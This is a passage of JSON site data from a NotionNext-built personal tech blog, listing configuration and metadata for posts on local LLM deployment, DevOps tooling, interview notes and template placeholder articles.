cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"<- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b&width=800&fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"2024-3-22","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"2024-3-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","date":{"start_date":"2024-06-26","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240626-demo","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","title":"天池大赛Higress插件官方demo详细部署+调试","status":"Published","publishDate":1719360000000,"publishDay":"2024-6-26","lastEditedDate":"2024-06-28T08:12:44.310Z","lastEditedDay":"2024-6-28","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","tagItems":[{"name":"推荐","color":"red"},{"name":"go","color":"gray"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240429-LM-fox","tags":["面试"],"summary":"搜狐面试题","title":"万里长征-03-搜狐","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-05-25T02:20:00.057Z","lastEditedDay":"2024-5-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","date":{"start_date":"2024-04-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240425-nginx","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","title":"Nginx配置备忘录","status":"Published","publishDate":1714003200000,"publishDay":"2024-4-25","lastEditedDate":"2024-04-24T16:37:04.342Z","lastEditedDay":"2024-4-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","tagItems":[{"name":"运维","color":"gray"},{"name":"工具","color":"pink"}],"password":""},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240405-LM-01","tags":["面试"],"summary":"贝壳面试题","title":"万里长征-01-贝壳","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-08T06:03:22.365Z","lastEditedDay":"2024-4-8","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","tagItems":[{"name":"面试","color":"yellow"}],"password":""},{"id":"4d955058-b605-46cf-b242-1535b732af30","date":{"start_date":"2024-04-05"},"type":"Post","category":"万里长征","slug":"article/240405-LM","tags":["面试","推荐"],"summary":"常见面试题汇总","title":"万里长征","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-07T09:23:11.250Z","lastEditedDay":"2024-4-7","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"},{"name":"推荐","color":"red"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"2024-3-19","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"2024-1-24","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"2024-1-24","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"2024-1-19","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"2024-1-18","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"将进酒","status":"Published","publishDate":1704067200000,"publishDay":"2024-1-1","lastEditedDate":"2024-04-06T03:31:44.998Z","lastEditedDay":"2024-4-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"041a3743-f888-4476-b947-fff856745c02","password":"d29c88a2bd1f06fcc58605a0261679a7","date":{"start_date":"2021-11-05"},"type":"Post","category":"未发布","slug":"article/example-2","tags":["开发","工具"],"summary":"本文需要输入密码才可访问,密码: 123456","title":"加锁文章2 - 密码123456","status":"Invisible","publishDate":1636070400000,"publishDay":"2021-11-5","lastEditedDate":"2024-03-22T14:50:54.674Z","lastEditedDay":"2024-3-22","fullWidth":false,"pageIcon":"","pageCover":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02","pageCoverThumbnail":"https://images.unsplash.com/photo-1599318011235-904154a09c36?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=041a3743-f888-4476-b947-fff856745c02&width=800&fmt=webp","tagItems":[{"name":"开发","color":"pink"},{"name":"工具","color":"pink"}]},{"id":"47aba706-2cde-4eef-9fb8-0cdd0f7805c9","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-3","tags":["新闻","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容。","title":"EMPTY-ARTICLE-3","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:55.364Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9","pageCoverThumbnail":"https://images.unsplash.com/photo-1542907299-8bd21f11f540?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=47aba706-2cde-4eef-9fb8-0cdd0f7805c9&width=800&fmt=webp","tagItems":[{"name":"新闻","color":"orange"},{"name":"推荐","color":"red"}],"password":""},{"id":"93032c73-435f-4a73-8087-b71ecff3a86b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-4","tags":["健康","推荐"],"summary":"如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。","title":"绑定成功测试-4","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:59.318Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b","pageCoverThumbnail":"https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=93032c73-435f-4a73-8087-b71ecff3a86b&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption&t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":""},{"id":"d43cadd5-38cc-48ce-a44d-188a8215cd7d","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-7","tags":["Python","健